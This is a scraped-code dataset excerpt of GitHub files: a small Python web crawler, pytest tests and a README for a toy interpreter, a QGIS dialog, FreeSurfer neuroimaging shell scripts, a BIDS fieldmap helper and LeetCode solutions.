[ { "alpha_fraction": 0.6130997538566589, "alphanum_fraction": 0.6214775443077087, "avg_line_length": 29.534883499145508, "blob_id": "96b86133f7e6761f9ce2ba55e6b8dac82985f6df", "content_id": "19d08e33eca432c42b6798f9c106884685e0c1eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1313, "license_type": "no_license", "max_line_length": 125, "num_lines": 43, "path": "/crawler.py", "repo_name": "prestigelocal/ballin-octo-archer", "src_encoding": "UTF-8", "text": "from multiprocessing import Process, Queue, Pool\nfrom subprocess import call\nimport sys\nimport re, requests, json, codecs\nfrom urlparse import urlparse\nfrom BeautifulSoup import BeautifulSoup as bs\n\n\n# Takes URL, returns list of dictionarys containing url, rawHtml, and linkText\ndef crawl(URL):\n\tvisited = [URL, \"/\"]\n\thtml = []\n\tbase = bs(requests.get(URL).content).prettify()\n\thtml.append({\"url\":URL, \"rawHtml\":base})\n\tfor a in bs(base).findAll(\"a\"):\n\t\ttry:\n\t\t\tif urlparse(a['href'])[2] not in visited and (urlparse(a['href'])[1] == \"\" or urlparse(a['href'])[1] == urlparse(URL)[1]):\n\t\t\t\tpage = {}\n\t\t\t\tvisited.append(re.sub(\"(?<!\\:)/+\", \"/\", URL + \"/\" + urlparse(a['href'])[2]))\n\t\t\t\tpage['url'] = re.sub(\"(?<!\\:)/+\", \"/\", URL + \"/\" + urlparse(a['href'])[2])\n\t\t\t\tpage['rawHtml'] = bs(requests.get(URL + '/' + urlparse(a['href'])[2]).content).prettify()\n\t\t\t\tpage['linkText'] = a.text\n\t\t\t\tprint \"Found %s\"%page['url']\n\t\t\t\thtml.append(page)\n\t\texcept:\n\t\t\tcontinue\n\treturn html\n\ndef fork(toDo):\n\turl = \"%s\"%(toDo)\n\tf.write(json.dumps(crawl(line)))\n\nif __name__ == '__main__':\n\tp = Pool(1)\n\tWebQueue = []\n\ti = 1\n\tfor line in codecs.open(\"unclaimed.csv\",\"r\",\"utf-8\"):\n\t\tWebQueue.append(line.strip())\n\tprint WebQueue\n\tp.map(fork, WebQueue)\n\n#f = codecs.open(\"webPage.txt\", \"w\", \"utf-8\")\n#f.write(json.dumps(crawl(line)))\n" } ]
1
MNoelJones/TechClubCoding_InterpreterFromScratch
https://github.com/MNoelJones/TechClubCoding_InterpreterFromScratch
381ea53707ee50e5aae30d98299e154bec0bf804
dd3bc59b54dcc744875b656a0819197a46a7a030
0b0861b29548e0902b90f35794af175a483adb2f
refs/heads/main
2023-03-30T12:56:04.063185
2021-04-03T10:50:44
2021-04-03T10:50:44
351,078,705
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6697247624397278, "alphanum_fraction": 0.6834862232208252, "avg_line_length": 23.22222137451172, "blob_id": "9d0fcb5b82c6343cbbc0c9f3e871f19ffecddb47", "content_id": "b98a09b7e782ce08f22cc41c52d6ffbbb2213629", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 436, "license_type": "permissive", "max_line_length": 70, "num_lines": 18, "path": "/tests/test_assignment4.py", "repo_name": "MNoelJones/TechClubCoding_InterpreterFromScratch", "src_encoding": "UTF-8", "text": "import hy\nimport interpreter\nimport pytest\nfrom version import VERSION\n\n\[email protected](VERSION != 0.4, reason=\"Test wants version 0.2\")\[email protected](\n \"progfile, expected\",\n (\n (\n \"tests/test4.txt\",\n \"avdqvdmavvqmiqiiifvdlfbffiiiflblblfbqviiifbfiiifwdfwwiif\"\n ),\n )\n)\ndef test_assignment_4(progfile, expected):\n assert interpreter.interpreter(file=progfile) == expected\n" }, { "alpha_fraction": 0.6204743981361389, "alphanum_fraction": 0.63670414686203, "avg_line_length": 24.03125, "blob_id": "909bfea19ddb12d3b3af82ed15c09a14ece63413", "content_id": "e0be650939dcc47bfc5d0c36c8459c88aaf80927", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 801, "license_type": "permissive", "max_line_length": 70, "num_lines": 32, "path": "/tests/test_assignment5.py", "repo_name": "MNoelJones/TechClubCoding_InterpreterFromScratch", "src_encoding": "UTF-8", "text": "import hy\nimport interpreter\nimport pytest\nfrom version import VERSION\n\n\[email protected](VERSION < 0.5, reason=\"Test wants version 0.2\")\[email protected](\n \"command, expected\",\n (\n (\n 'run \"hqdtmldubx //top secret info\"',\n \"hqdtmldubx\"\n ),\n (\n \"file tests/test4.txt\",\n \"avdqvdmavvqmiqiiifvdlfbffiiiflblblfbqviiifbfiiifwdfwwiif\"\n ),\n )\n)\ndef test_assignment_5_1(command, expected):\n assert interpreter.interpreter(command) == expected\n\n\[email protected](VERSION < 0.5, reason=\"Test wants version 0.2\")\ndef test_assignment_5_2():\n command = 'decipher \"hqdtmldubx // top secret info\"'\n assert pytest.raises(\n interpreter.InvalidCommand,\n interpreter.interpreter,\n command\n )\n" }, { "alpha_fraction": 0.741360068321228, "alphanum_fraction": 0.74470454454422, "avg_line_length": 28.899999618530273, "blob_id": "fb0823e70ba4e818674d6b102d122fa5f18a7c78", "content_id": "d609dca80747370d78ac505a451ba5e67903ad59", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 897, "license_type": "permissive", "max_line_length": 152, "num_lines": 30, "path": "/README.md", "repo_name": "MNoelJones/TechClubCoding_InterpreterFromScratch", "src_encoding": "UTF-8", "text": "# TechClubCoding_InterpreterFromScratch\n\nThis should all run under Python3 (and maybe Python2, although I haven't tested that - it's deprecated, after all!)\n\nBeyond a working Python environment, you will need to install [`hy`](https://docs.hylang.org/en/stable/index.html), which can be accomplished using pip:\n```bash\n\tpip install hy\n```\n(I'd suggest using a virtualenv)\n\nThe test cases need pytest\n```bash\n\tpip install pytest\n```\n\n(Both requirements are satisfied by running:\n```bash\n\tpip install -r requirements.txt\n```\n)\n\nI find that pytest doesn't pick up the environment correctly if it's run directly from the command line, so I suggest calling it via python:\n```bash\npython -m pytest \n``` # To run all tests\n```bash\npython -m pytest tests/test_assignment1.py\n``` # To run a specific test\n\nEvery assignment step (except for the first!) has its own branch. They have (I hope!) obvious names\n" }, { "alpha_fraction": 0.634819507598877, "alphanum_fraction": 0.6454352736473083, "avg_line_length": 23.789474487304688, "blob_id": "d2ee79bc1d2c5ca5bbeaec75e97aeabb7107fa3b", "content_id": "964db54a9d993a87e84cdb3a52e03ef649160007", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 471, "license_type": "permissive", "max_line_length": 68, "num_lines": 19, "path": "/tests/test_assignment1.py", "repo_name": "MNoelJones/TechClubCoding_InterpreterFromScratch", "src_encoding": "UTF-8", "text": "import hy\nimport interpreter\nimport pytest\nfrom version import VERSION\n\n\[email protected](VERSION != 0.1, reason=\"Test wants version 0.1\")\[email protected](\n \"program, expected\",\n (\n (\"Hello World!\", \"helloworld!\"),\n (\n \"this is quite a LONG sentence, is it not?\",\n \"thisisquitealongsentence,isitnot?\"\n )\n )\n)\ndef test_assignment_1(program, expected):\n assert interpreter.interpreter(program) == expected\n" }, { "alpha_fraction": 0.5905882120132446, "alphanum_fraction": 0.6141176223754883, "avg_line_length": 26.419355392456055, "blob_id": "491fca6091aa7f24c7fe7d43326a372bc1fbc931", "content_id": "eed74ee16a832222f704ef1b75da10ce32a71918", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 850, "license_type": "permissive", "max_line_length": 92, "num_lines": 31, "path": "/tests/test_assignment3.py", "repo_name": "MNoelJones/TechClubCoding_InterpreterFromScratch", "src_encoding": "UTF-8", "text": "import hy\nimport interpreter\nimport pytest\nfrom version import VERSION\n\n\[email protected](not(0.3 <= VERSION <= 0.4), reason=\"Test wants version 0.3 or 0.4\")\[email protected](\n \"program, expected\",\n (\n (\n (\n \"Apple Pear Banana // Comment on the morality of fruit as a pizza topping. \"\n \"Or do something else with your time\"\n ),\n \"applepearbanana\"\n ),\n )\n)\ndef test_assignment_3_1(program, expected):\n assert interpreter.interpreter(program) == expected\n\n\[email protected](not(0.3 <= VERSION <= 0.4), reason=\"Test wants version 0.3 or 0.4\")\ndef test_assignment_3_2():\n program = \"This is quite a long sentence, // Is it not?\"\n assert pytest.raises(\n interpreter.InvalidCharacter,\n interpreter.interpreter,\n program\n )\n" }, { "alpha_fraction": 0.6307054162025452, "alphanum_fraction": 0.6410788297653198, "avg_line_length": 24.36842155456543, "blob_id": "6d5dd0d2260a455f9e15b329eec87e2c3b48a8c7", "content_id": "a195375a3f10f2c7c4731c99440b2521c7e7e4e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 482, "license_type": "permissive", "max_line_length": 68, "num_lines": 19, "path": "/tests/test_assignment2.py", "repo_name": "MNoelJones/TechClubCoding_InterpreterFromScratch", "src_encoding": "UTF-8", "text": "import hy\nimport interpreter\nimport pytest\nfrom version import VERSION\n\n\[email protected](VERSION != 0.2, reason=\"Test wants version 0.2\")\[email protected](\n \"program, expected\",\n (\n (\"Hello World! //commented out\", \"helloworld!\"),\n (\n \"This is quite a long sentence, // Is it not?\",\n \"thisisquitealongsentence,\"\n )\n )\n)\ndef test_assignment_2(program, expected):\n assert interpreter.interpreter(program) == expected\n" } ]
6
koyo-jakanees/sample-qgsspinbox
https://github.com/koyo-jakanees/sample-qgsspinbox
d2917edff1f117b615dc3cd8ee79c08b30f41c3a
4896748c74515b4654f520ce31c223b42f47a50d
57da2492e12b7f08b611613bfd001e0610c78160
refs/heads/main
2023-02-26T08:56:12.817555
2021-02-06T08:10:22
2021-02-06T08:10:22
336,341,722
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6900754570960999, "alphanum_fraction": 0.6970400214195251, "avg_line_length": 43.75324630737305, "blob_id": "59037c6d2abd9c805b08ad0f295f7e2a87b6d0be", "content_id": "e91fbfa0b53e95a9a111336b0c9f23a23b3f61d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3446, "license_type": "no_license", "max_line_length": 99, "num_lines": 77, "path": "/spinner_trough_dialog.py", "repo_name": "koyo-jakanees/sample-qgsspinbox", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file 'spinner_trough_dialog_base.ui'\n#\n# Created by: PyQt5 UI code generator 5.10.1\n#\n# WARNING! All changes made in this file will be lost!\n# import os\nfrom qgis import gui\n# from qgis.PyQt import uic\nfrom qgis.PyQt import QtWidgets\nfrom qgis.PyQt import QtCore\n\n# This loads your .ui file so that PyQt can populate your plugin with the elements from Qt Designer\n# FORM_CLASS, _ = uic.loadUiType(os.path.join(\n# os.path.dirname(__file__), 'spinner_trough_dialog_base.ui'))\n\n\nclass spinnnerDialog(QtWidgets.QDialog):\n \"\"\"Form constructor sis \"\"\"\n\n def __init__(self, parent=None):\n \"\"\"Constructor.\"\"\"\n super(spinnnerDialog, self).__init__(parent)\n # Set up the user interface from Designer through FORM_CLASS.\n # After self.setupUi() you can access any designer object by doing\n # self.<objectname>, and you can use autoconnect slots - see\n # http://qt-project.org/doc/qt-4.8/designer-using-a-ui-file.html\n # #widgets-and-dialogs-with-auto-connect\n self.setupUi(self)\n\n def setupUi(self, spinnnerDialog):\n \"\"\"Pylint ignore\"\"\"\n spinnnerDialog.setObjectName(\"spinnnerDialog\")\n spinnnerDialog.resize(400, 300)\n self.verticalLayout = QtWidgets.QVBoxLayout(spinnnerDialog)\n self.verticalLayout.setObjectName(\"verticalLayout\")\n self.label = QtWidgets.QLabel(spinnnerDialog)\n self.label.setObjectName(\"label\")\n self.verticalLayout.addWidget(self.label)\n self.spinBox = QtWidgets.QSpinBox(spinnnerDialog)\n self.spinBox.setObjectName(\"spinBox\")\n self.verticalLayout.addWidget(self.spinBox)\n self.label_2 = QtWidgets.QLabel(spinnnerDialog)\n self.label_2.setObjectName(\"label_2\")\n self.verticalLayout.addWidget(self.label_2)\n self.doubleSpinBox = QtWidgets.QDoubleSpinBox(spinnnerDialog)\n self.doubleSpinBox.setObjectName(\"doubleSpinBox\")\n self.verticalLayout.addWidget(self.doubleSpinBox)\n self.label_3 = QtWidgets.QLabel(spinnnerDialog)\n self.label_3.setObjectName(\"label_3\")\n self.verticalLayout.addWidget(self.label_3)\n self.mQgsSpinBox = gui.QgsSpinBox(spinnnerDialog)\n self.mQgsSpinBox.setObjectName(\"mQgsSpinBox\")\n self.verticalLayout.addWidget(self.mQgsSpinBox)\n self.button_box = QtWidgets.QDialogButtonBox(spinnnerDialog)\n self.button_box.setOrientation(QtCore.Qt.Horizontal)\n self.button_box.setStandardButtons(\n QtWidgets.QDialogButtonBox.Cancel | QtWidgets.QDialogButtonBox.Ok)\n self.button_box.setObjectName(\"button_box\")\n self.verticalLayout.addWidget(self.button_box)\n\n self.retranslateUi(spinnnerDialog)\n self.button_box.accepted.connect(spinnnerDialog.accept)\n self.button_box.rejected.connect(spinnnerDialog.reject)\n QtCore.QMetaObject.connectSlotsByName(spinnnerDialog)\n\n def retranslateUi(self, spinnnerDialog):\n _translate = QtCore.QCoreApplication.translate\n spinnnerDialog.setWindowTitle(\n _translate(\"spinnnerDialogBase\", \"spinner\"))\n self.label.setText(_translate(\n \"spinnnerDialogBase\", \"QSpinBox Count: \"))\n self.label_2.setText(_translate(\n \"spinnnerDialogBase\", \"QDoubleSpinBoxCount: \"))\n self.label_3.setText(_translate(\n \"spinnnerDialogBase\", \"QgsSPinBox COunt: \"))\n" } ]
1
colemilne54/LeetCode
https://github.com/colemilne54/LeetCode
d6b36c156a8c3183f87e2f94924a16028da2de69
fc78706ad0f935d41e7b6d41c377890d82d82f05
e95c236ab437159b4594893998392a7d77ef1e5f
refs/heads/master
2021-02-28T18:22:30.196192
2020-03-08T01:48:47
2020-03-08T01:48:47
245,722,268
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5333333611488342, "alphanum_fraction": 0.5333333611488342, "avg_line_length": 28, "blob_id": "c977e592fec798e212d0a0c9345cd68355f4d74b", "content_id": "32199a74502ed1bb713f039c5a7b8c0bc6ec2d15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 210, "license_type": "no_license", "max_line_length": 51, "num_lines": 7, "path": "/Python3/1281. Subtract the Product and Sum of Digits of an Integer.py", "repo_name": "colemilne54/LeetCode", "src_encoding": "UTF-8", "text": "import numpy as np\r\nclass Solution:\r\n def subtractProductAndSum(self, n: int) -> int:\r\n c = []\r\n for digit in str(n):\r\n c.append(int(digit))\r\n return(np.prod(c) - np.sum(c))\r\n" }, { "alpha_fraction": 0.3504273593425751, "alphanum_fraction": 0.37037035822868347, "avg_line_length": 25, "blob_id": "dff7086fc21abba4cf1878a97250595c29d0f2a5", "content_id": "d887c9702738c5ef59f7028f21d69d1ffd1f8be9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 351, "license_type": "no_license", "max_line_length": 45, "num_lines": 13, "path": "/Python3/7. Reverse Integer.py", "repo_name": "colemilne54/LeetCode", "src_encoding": "UTF-8", "text": "class Solution:\r\n def reverse(self, x: int) -> int:\r\n c = []\r\n for digit in str(x):\r\n c.append(digit)\r\n if c[0] == '-':\r\n del c[0]\r\n c.insert(len(c), '-')\r\n num = int(''.join(map(str, c[::-1])))\r\n if abs(num) > 2**31:\r\n return 0\r\n else:\r\n return num\r\n" }, { "alpha_fraction": 0.524904191493988, "alphanum_fraction": 0.532567024230957, "avg_line_length": 27, "blob_id": "6d19a0a6d1a38ffa917f3750fbe0cadc2ab9f65d", "content_id": "60e3656cdcbf361ff2e45bcca25c85082268a8d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 57, "num_lines": 9, "path": "/Python3/136. Single Number.py", "repo_name": "colemilne54/LeetCode", "src_encoding": "UTF-8", "text": "from collections import Counter\r\n\r\nclass Solution:\r\n def singleNumber(self, nums: List[int]) -> int:\r\n c = Counter()\r\n for word in nums:\r\n c[word] += 1\r\n c = dict(c)\r\n return(list(c.keys())[list(c.values()).index(1)])\r\n" } ]
3
jlegault/scripts_under_revision
https://github.com/jlegault/scripts_under_revision
be4287a79b763993fbe4cca2f824e044a3093463
6f3610e3f63fd84185c66c36537ebdc66ada090d
d48f40ff10de61cf81bf87276d75c7aae0af4106
refs/heads/master
2021-07-21T20:31:23.828988
2020-08-04T15:28:01
2020-08-04T15:28:01
203,400,383
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7730414867401123, "alphanum_fraction": 0.7903226017951965, "avg_line_length": 44.68421173095703, "blob_id": "86d56fcf66a042a347c8393d3cc9a001e42f1adc", "content_id": "4d219502021cb7de555bbe6cb76e30fa423ac739", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 868, "license_type": "no_license", "max_line_length": 194, "num_lines": 19, "path": "/scripts/convert_fmri_mask_to_fs/right_hemisphere/extract_GM_from_label_RH.sh", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "#!/bin/bash\nexec 3>&1 4>&2\ntrap 'exec 2>&4 1>&3' 0 1 2 3\nexec 1>GM_extracted_roi_rh_log.out 2>&1\n\nexport SUBJECTS_DIR=/home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\ncd /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask\n\nmlist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/ROI_RH.list.txt)\nflist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/subject.list.txt)\n\nfor roi in $mlist;\n\tdo\n\tfor subject in $flist;\n\t\tdo\n\t\t\tmris_anatomical_stats -l /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/${subject}_${roi}_surf.label -b $subject rh ;\n\t\tdone\n\tdone\n" }, { "alpha_fraction": 0.7693360447883606, "alphanum_fraction": 0.783025324344635, "avg_line_length": 57.439998626708984, "blob_id": "9dcfa5c8f930954acd9f04cf9534b9da0b1697d3", "content_id": "c02aa38d9f56a66089879fa5c52d0f7b496b40a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1461, "license_type": "no_license", "max_line_length": 159, "num_lines": 25, "path": "/scripts/convert_fmri_mask_to_fs/right_hemisphere/fmrimask_to_fslabel_RH.sh", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "#!/bin/bash\nexec 3>&1 4>&2\ntrap 'exec 2>&4 1>&3' 0 1 2 3\nexec 1>mask2label_roi_rh_log.out 2>&1\n\nexport SUBJECTS_DIR=/home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\ncd /home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\nmlist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/ROI_RH.list.txt)\nfor i in $mlist;\n\tdo\n\tbbregister --mov /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/$i.mgh \\\n\t\t--s fsaverage --t1 \\\n\t\t--reg /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/fsaverage_register_$i.dat ;\n\tmri_vol2surf --mov /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/$i.mgh \\\n\t\t--srcreg /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/fsaverage_register_$i.dat \\\n\t\t--trgsubject fsaverage \\\n\t\t--out /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/${i}_surf.mgh \\\n\t\t--hemi rh ;\n\tcd /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask\n\tmri_cor2label --i ${i}_surf.mgh \\\n\t\t--l ${i}_surf.label \\\n\t\t--surf fsaverage rh --id 1 ;\n\tdone\n" }, { "alpha_fraction": 0.6703979969024658, "alphanum_fraction": 0.6857379674911499, "avg_line_length": 29.923076629638672, "blob_id": "0f37379b7fc8ba68d5c92ba5517553b778ec6afa", "content_id": "ee2a17916b345c1f2961ea11753c1f24196e44f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2412, "license_type": "no_license", "max_line_length": 104, "num_lines": 78, "path": "/scripts/fieldmap_inclusion_script/add_intended_for.py", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "from glob import glob\nfrom os.path import join, splitext\nfrom bids import BIDSLayout\nfrom dateutil.parser import parse\nimport re\nimport json\nimport bisect\nimport os\nimport os.path as op\nimport logging\nimport sys\n\n# Edited from Taylor Salo's Github script: https://gist.github.com/tsalo/82e442a1d087d849b3602ffb25e4feb5\n# make sure python 3.7 is enabled by exporting path to location of anaconda3 folder\nexport PATH=/home/jlegault/anaconda3/bin:$PATH\n\n# make sure you are using pybids version 0.6.5 \npip install pybids==0.6.5\n\n# Command to run script: python3.7 add_intended_for_2.py /path_to_subjdir/\n\t# you must include the trailing / at the end of the subject directory \n\n# Designate subject directory when you run command and fMRI file type to include in intended for portion\nsubj_dir = sys.argv[1]\ndata_suffix = '.nii.gz'\n\nlayout = BIDSLayout(subj_dir)\n\n\ndef files_to_dict(file_list):\n \"\"\"Convert list of BIDS Files to dictionary where key is\n acquisition time (datetime.datetime object) and value is\n the File object.\n \"\"\"\n out_dict = {}\n for f in file_list:\n fn = f.filename\n with open(fn, 'r') as fi:\n data = json.load(fi)\n dt = parse(data['AcquisitionTime'])\n out_dict[dt] = f\n return out_dict\n\n\n# Get json files for field maps\nfmap_jsons = layout.get(modality='fmap', extensions='phasediff.json')\n\nfmap_dict = files_to_dict(fmap_jsons)\ndts=sorted(fmap_dict.keys())\nintendedfor_dict = {fmap.filename: [] for fmap in fmap_jsons}\n\n# Get all scans with associated field maps\n\nfunc_jsons = layout.get(type='bold', extensions='json') + \\\n layout.get(type='rest', extensions='json') + \\\n layout.get(type='langloc', extensions='json')\n\nfunc_dict = files_to_dict(func_jsons)\n\nfor func in func_dict.keys():\n fn, _ = splitext(func_dict[func].filename)\n fn += data_suffix\n fn = fn.split(subj_dir)[-1]\n\n # Find most immediate field map before scan\n idx = bisect.bisect_right(dts, func) - 1\n fmap_file = fmap_dict[dts[idx]].filename\n intendedfor_dict[fmap_file].append(fn)\n\nfor fmap_file in intendedfor_dict.keys():\n with open(fmap_file, 'r') as fi:\n data = json.load(fi)\n\n # Overwrites original json file\n if 'IntendedFor' not in data.keys():\n data['IntendedFor'] = intendedfor_dict[fmap_file]\n with open(fmap_file, 'w') as fo:\n json.dump(data, fo, indent=4, sort_keys=True)\n" }, { "alpha_fraction": 0.7230046987533569, "alphanum_fraction": 0.7543035745620728, "avg_line_length": 34.33333206176758, "blob_id": "7805e63b6ca5b4fddf969b4685f9a35e95392a7d", "content_id": "0263db36e384e781cb31c658a56e6574815365dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 639, "license_type": "no_license", "max_line_length": 148, "num_lines": 18, "path": "/scripts/convert_fmri_mask_to_fs/left_hemisphere/segmented_scripts/cor2label_test.sh", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "#!/bin/bash\nexec 3>&1 4>&2\ntrap 'exec 2>&4 1>&3' 0 1 2 3\nexec 1>cor2label_roi3_log.out 2>&1\n\n\nexport SUBJECTS_DIR=/home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\ncd /home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\nmlist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/ROI_3.list.txt)\nfor i in $mlist;\n\tdo\n\tcd /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask ;\n\tmri_cor2label --i ${i}_surf.mgh \\\n\t\t--l ${i}_surf.label \\\n\t\t--surf fsaverage lh --id 1 ;\n\tdone\n\t\n\n" }, { "alpha_fraction": 0.7627118825912476, "alphanum_fraction": 0.7786639928817749, "avg_line_length": 44.59090805053711, "blob_id": "85de8b7d325e7c1926b4dc485ba99d18091d3367", "content_id": "29279a6138fdeb75a21d91d0b81a813a4259dd0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1003, "license_type": "no_license", "max_line_length": 187, "num_lines": 22, "path": "/scripts/convert_fmri_mask_to_fs/right_hemisphere/label_to_subject_RH.sh", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "#!/bin/bash\nexec 3>&1 4>&2\ntrap 'exec 2>&4 1>&3' 0 1 2 3\nexec 1>label_to_subject_roi_rh_again_log.out 2>&1\n\nexport SUBJECTS_DIR=/home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\ncd /home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\nmlist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/ROI_RH.list.txt)\nflist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/subject.list.txt)\n\nfor roi in $mlist;\n\tdo\n\tfor subject in $flist;\n\t\tdo\n\t\t\tmri_label2label --srcsubject fsaverage \\\n\t\t\t--srclabel /home/qigroup/Documents/projects/blast/derivatives/freesurfer/fsaverage/label/${roi}_surf.label \\\n\t\t\t--trgsubject $subject --trglabel /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/${subject}_${roi}_surf.label \\\n\t\t\t--regmethod surface --hemi rh ;\n\t\tdone\n\tdone\n" }, { "alpha_fraction": 0.7954022884368896, "alphanum_fraction": 0.7965517044067383, "avg_line_length": 56.79999923706055, "blob_id": "084fca1467010a9a8a2ada5684efbd29358c9e99", "content_id": "a00891d8836786a67f6f85607ed38c1a357f7f59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 870, "license_type": "no_license", "max_line_length": 159, "num_lines": 15, "path": "/scripts/convert_fmri_mask_to_fs/left_hemisphere/segmented_scripts/mri_vol2surf_test.sh", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "#!/bin/bash\nexport SUBJECTS_DIR=/home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\ncd /home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\nmlist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/ROI.list.txt)\nnlist=$(basename -s .mgh -a $mlist)\nfor i in $nlist;\n\tdo\n\tmri_vol2surf --mov /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/$i.mgh \\\n\t\t--srcreg /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/fsaverage_register_$i.dat \\\n\t\t--trgsubject fsaverage \\\n\t\t--out /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/${i}_surf.mgh \\\n\t\t--hemi lh ;\n\tdone\n\t\n\n" }, { "alpha_fraction": 0.778643786907196, "alphanum_fraction": 0.7802026271820068, "avg_line_length": 57.318180084228516, "blob_id": "9b8534488c1a13ed2c07ba4b47ed6df533bfd12b", "content_id": "37084a5ea5fb66d1415d3a99befd91991bd28431", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1283, "license_type": "no_license", "max_line_length": 173, "num_lines": 22, "path": "/scripts/convert_fmri_mask_to_fs/left_hemisphere/segmented_scripts/label_to_subject_test.sh", "repo_name": "jlegault/scripts_under_revision", "src_encoding": "UTF-8", "text": "export SUBJECTS_DIR=/home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\ncd /home/qigroup/Documents/projects/blast/derivatives/freesurfer\n\nmlist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/ROI.list.txt)\nnlist=$(basename -s .mgh -a $mlist)\nflist=$(cat /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/subject.list.txt)\nglist=$(basename -a $flist)\nfor i in $nlist;\n\tdo\n\tmri_label2label --srcsubject fsaverage \\\n\t\t--srclabel /home/qigroup/Documents/projects/blast/derivatives/freesurfer/fsaverage/label/${i}_surf.label \\\n\t\t--trgsubject $s --trglabel /home/qigroup/Documents/projects/blast/derivatives/freesurfer/freesurfer_fsgd_analyses/mask_files/fedorenko_overlap_mask/${s}_${i}_surf.label \\\n\t\t--regmethod surface --hemi lh \\\n\n\tfor s in $glist;\n\t\tdo\n\t\t\tmri_label2label --srcsubject fsaverage \\\n\t\t\t--srclabel /home/qigroup/Documents/projects/blast/derivatives/freesurfer/fsaverage/label/${i}_surf.label \\\n\t\t\t--trgsubject $s --trglabel 